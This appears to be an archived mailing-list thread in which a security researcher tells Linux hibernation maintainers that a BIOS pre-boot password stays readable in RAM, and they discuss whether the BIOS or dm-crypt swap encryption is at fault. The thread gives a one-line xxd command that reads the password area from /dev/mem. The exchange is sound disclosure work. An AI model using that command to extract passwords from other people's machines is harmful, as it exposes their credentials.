Phone: +91-3222-282300 ext 4324

Quoted 2 lines

Web page: http://www.ivizindia.com

Florent Chabaud
gpg: 28C9 9E1A 5507 5574 EDE6 2E8F 2B37 D83F 95C8 1C3C
http://www.carva.org/florent.chabaud | [email protected]

Signature · 23 lines
Jonathan Brossard
Security Research Engineer
iViZ Techno Solutions Pvt. Ltd.
Mobile: +91-9748772994

Kolkata:
iViZ Technolgy Solutions(P) Ltd
c/o Erevmax Technologies (P) Ltd
DLF IT Park,
Tower-1, 12th Floor
08 Major Arterial Road
New Town, Rajarhat
Kolkata- 700 156

Kharagpur:
iViZ Techno Solutions Pvt Ltd,
School of Information Technology,
Indian Institute of Technology,
2nd Floor, Takshashila,
Kharagpur 721302 West Bengal, India.
Phone: +91-3222-282300 ext 4324

Web page: http://www.ivizindia.com
#8 lore raw
In reply to [email protected]
Quoted 2 lines

Password retrieved from RAM is a well known issue :)

No, it is a Bios problem, and most manufacturers are vulnerable, so it is definitly not a "well known issue". We are not talking about a typical userland application using a weak primitive like getpassword() here, but of a misusage of the BIOS Api. (cf attached whitepaper for information).

Anyway, I agree the problem doesnt lie in your software but in the swap encryption like Nigel mentioned. If you could help me track which versions of the kernel using dm-crypt were vulnerable, that would help me a lot.

Regards,

Jonathan-

Quoted 154 lines · [email protected] wrote:

Dear Jonathan,

Sorry for intervening so lately, but Nigel is right : those adresses are really out of date ;-)

Quoted 11 lines · Jonathan Brossard

Dear Nigel,

Feel free to put me in my place if I am wrong here :

When you try to boot a tuxonice capable computer and restore the state of the computer using a hibernation file...

you are asked for a password, which is not the standard userland login prompt (for a imple reason : there is no kernel in memory at that time). That password is part of tux on ice, right ?

AFAIK this is not part of swsusp nor tuxonice. I'm still using swsusp, although not contributing any more, and I don't have any password to type in my configuration.

xxd -l 32 -s 0x041e /dev/mem
000041e: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000042e: 0000 0000 0000 0000 0000 0000 0000 0000 ................

Quoted 2 lines

Well, that password can be retreived from RAM !

Password retrieved from RAM is a well known issue :) From your description, you seem to say that the kernel is not running at the time you seize the password. This indicates for sure that tuxonice is not involved, since it is part of kernel. The way tuxonice works is launching the kernel as usual and interrupt normal boot as soon as possible if a frozen image is detected.

What you may have in your case is either a hardware password, managed by the BIOS, or a password used to encrypt swap (and swsusp image) as described in swsusp-dmcrypt.txt. Now, I agree with Nigel that this is not part of swsusp, but it may be a bug in the configuration of dmcrypt.

You should also note that from a security point of view, the security model is not at all circumvented. You need to have a root access to /dev/mem from a resumed session, to obtain the password, and even if the password was erased (which should be done anyway, it's a good practice) you still have the ciphering key of the swap somewhere in memory.

Anyway, thank you for the report. Please feel free to exchange more information in order to identify more precisely the problem, and specially the configuration you use.

Sincerely yours,

Florent Chabaud

Quoted 56 lines

Best regards,

Jonathan-

Quoted 50 lines · Nigel Cunningham

Hi again.

Quoted 12 lines · Jonathan Brossard

Dear Nigel,

Quoted 4 lines

This is not a bug in TuxOnIce (or for that matter other Linux hibernation implementations, which would have the same issue).

Yes it is.

Quoted 9 lines
Quoted 6 lines

TuxOnIce has no way to know what running applications have passwords stored in memory or whether they are storing them in an encrypted format or not. Bugs should be filed against applications that are storing passwords in plain text.

We are talking about the password of tuxonice itself here...

TuxOnIce itself doesn't have any password support. Do you mean a password for encrypted swap or such like?

Quoted 8 lines

Please boot a computer using tuxonice, go for hibernation, reboot, and then type this (as root) :

xxd -l 32 -s 0x041e /dev/mem

Quoted 9 lines
Quoted 5 lines

By the way, these contact email addresses are grossly out of date. For TuxOnIce, the contact is [email protected]. For swsusp and uswsusp (which would have the same problem), refer to [email protected].

I did my best to find one on the site's website and ended up taking those of sourceforge.

Hmm, you're right there. I'll address that shortly.

Quoted 33 lines
Quoted 7 lines

Regards,

Nigel

Signature · 23 lines
    Jonathan Brossard
    Security Research Engineer
    iViZ Techno Solutions Pvt. Ltd.
    Mobile: +91-9748772994

    Kolkata:
    iViZ Technolgy Solutions(P) Ltd
    c/o Erevmax Technologies (P) Ltd
    DLF IT Park,
    Tower-1, 12th Floor
    08 Major Arterial Road
    New Town, Rajarhat
    Kolkata- 700 156

    Kharagpur:
    iViZ Techno Solutions Pvt Ltd,
    School of Information Technology,
    Indian Institute of Technology,
    2nd Floor, Takshashila,
    Kharagpur 721302 West Bengal, India.
    Phone: +91-3222-282300 ext 4324

    Web page: http://www.ivizindia.com

Florent Chabaud
gpg: 28C9 9E1A 5507 5574 EDE6 2E8F 2B37 D83F 95C8 1C3C
http://www.carva.org/florent.chabaud | [email protected]

Signature · 23 lines
   Jonathan Brossard
   Security Research Engineer
   iViZ Techno Solutions Pvt. Ltd.
   Mobile: +91-9748772994

   Kolkata:
   iViZ Technolgy Solutions(P) Ltd
   c/o Erevmax Technologies (P) Ltd
   DLF IT Park,
   Tower-1, 12th Floor
   08 Major Arterial Road
   New Town, Rajarhat
   Kolkata- 700 156

   Kharagpur:
   iViZ Techno Solutions Pvt Ltd,
   School of Information Technology,
   Indian Institute of Technology,
   2nd Floor, Takshashila,
   Kharagpur 721302 West Bengal, India.
   Phone: +91-3222-282300 ext 4324

   Web page: http://www.ivizindia.com